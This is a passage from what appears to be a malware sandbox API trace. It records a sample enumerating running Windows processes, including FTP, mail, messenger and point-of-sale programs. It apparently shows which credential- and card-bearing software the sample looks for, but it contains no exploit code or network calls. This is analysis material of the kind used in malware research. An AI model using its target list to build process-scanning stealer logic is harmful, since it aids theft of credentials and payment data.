pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.871] lstrlenW (lpString="explorer.exe") returned 12 [0081.871] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0081.872] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0081.872] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0081.872] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0081.872] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0081.873] lstrlenW (lpString="Memory Compression") returned 18 [0081.873] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0081.873] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0081.873] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0081.874] lstrlenW (lpString="SearchUI.exe") returned 12 [0081.874] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0081.874] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0081.874] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.875] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.875] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0081.875] lstrlenW (lpString="furholdtopics.exe") returned 17 [0081.875] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0081.876] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0081.876] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0081.876] lstrlenW (lpString="until_commit.exe") returned 16 [0081.876] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0081.877] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0081.877] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0081.877] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0081.877] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0081.878] lstrlenW (lpString="lexmark.exe") returned 11 [0081.878] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0081.879] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0081.879] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0081.879] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0081.879] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0081.880] lstrlenW (lpString="delete disable changing.exe") returned 27 [0081.880] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0081.880] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0081.880] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0081.882] lstrlenW (lpString="underwear.exe") returned 13 [0081.882] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0081.882] lstrlenW (lpString="dear-hearings.exe") returned 17 [0081.882] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0081.883] lstrlenW (lpString="dllhost.exe") returned 11 [0081.883] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0081.883] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0081.883] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0081.884] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0081.884] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0081.884] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0081.884] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0081.885] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0081.885] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0081.885] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0081.885] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0081.886] lstrlenW (lpString="towers world.exe") returned 16 [0081.886] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0081.886] lstrlenW (lpString="coaching indian.exe") returned 19 [0081.886] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0081.887] lstrlenW (lpString="goal assumed.exe") returned 16 [0081.887] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0081.888] lstrlenW (lpString="3dftp.exe") returned 9 [0081.888] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0081.889] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0081.889] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0081.890] lstrlenW (lpString="alftp.exe") returned 9 [0081.890] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0081.891] lstrlenW (lpString="barca.exe") returned 9 [0081.891] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0081.892] lstrlenW (lpString="bitkinex.exe") returned 12 [0081.892] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0081.893] lstrlenW (lpString="coreftp.exe") returned 11 [0081.893] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0081.894] lstrlenW (lpString="far.exe") returned 7 [0081.894] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0081.894] lstrlenW (lpString="filezilla.exe") returned 13 [0081.894] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0082.421] lstrlenW (lpString="flashfxp.exe") returned 12 [0082.421] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0082.422] lstrlenW (lpString="fling.exe") returned 9 [0082.422] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0082.423] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0082.423] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0082.424] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0082.424] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0082.425] lstrlenW (lpString="icq.exe") returned 7 [0082.425] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0082.426] lstrlenW (lpString="leechftp.exe") returned 12 [0082.426] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0082.427] lstrlenW (lpString="ncftp.exe") returned 9 [0082.427] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0082.428] lstrlenW (lpString="notepad.exe") returned 11 [0082.428] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0082.429] lstrlenW (lpString="operamail.exe") returned 13 [0082.429] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0082.430] lstrlenW (lpString="pidgin.exe") returned 10 [0082.430] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0082.430] lstrlenW (lpString="scriptftp.exe") returned 13 [0082.431] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0082.431] lstrlenW (lpString="skype.exe") returned 9 [0082.431] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0082.432] lstrlenW (lpString="smartftp.exe") returned 12 [0082.432] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0082.433] lstrlenW (lpString="thunderbird.exe") returned 15 [0082.433] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0082.434] lstrlenW (lpString="totalcmd.exe") returned 12 [0082.434] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0082.435] lstrlenW (lpString="trillian.exe") returned 12 [0082.435] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0082.436] lstrlenW (lpString="webdrive.exe") returned 12 [0082.436] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0082.436] lstrlenW (lpString="whatsapp.exe") returned 12 [0082.436] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0082.437] lstrlenW (lpString="winscp.exe") returned 10 [0082.437] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0082.438] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0082.438] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0082.439] lstrlenW (lpString="active-charge.exe") returned 17 [0082.439] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0082.440] lstrlenW (lpString="accupos.exe") returned 11 [0082.440] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0082.440] lstrlenW (lpString="afr38.exe") returned 9 [0082.440] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0082.441] lstrlenW (lpString="aldelo.exe") returned 10 [0082.441] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0082.442] lstrlenW (lpString="ccv_server.exe") returned 14 [0082.442] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0082.443] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0082.443] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0082.444] lstrlenW (lpString="creditservice.exe") returned 17 [0082.444] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0082.445] lstrlenW (lpString="edcsvr.exe") returned 10 [0082.445] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0082.445] lstrlenW (lpString="fpos.exe") returned 8 [0082.446] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0082.446] lstrlenW (lpString="isspos.exe") returned 10 [0082.446] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0082.447] lstrlenW (lpString="mxslipstream.exe") returned 16 [0082.447] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0082.448] lstrlenW (lpString="omnipos.exe") returned 11 [0082.448] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0082.448] lstrlenW (lpString="spcwin.exe") returned 10 [0082.448] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, 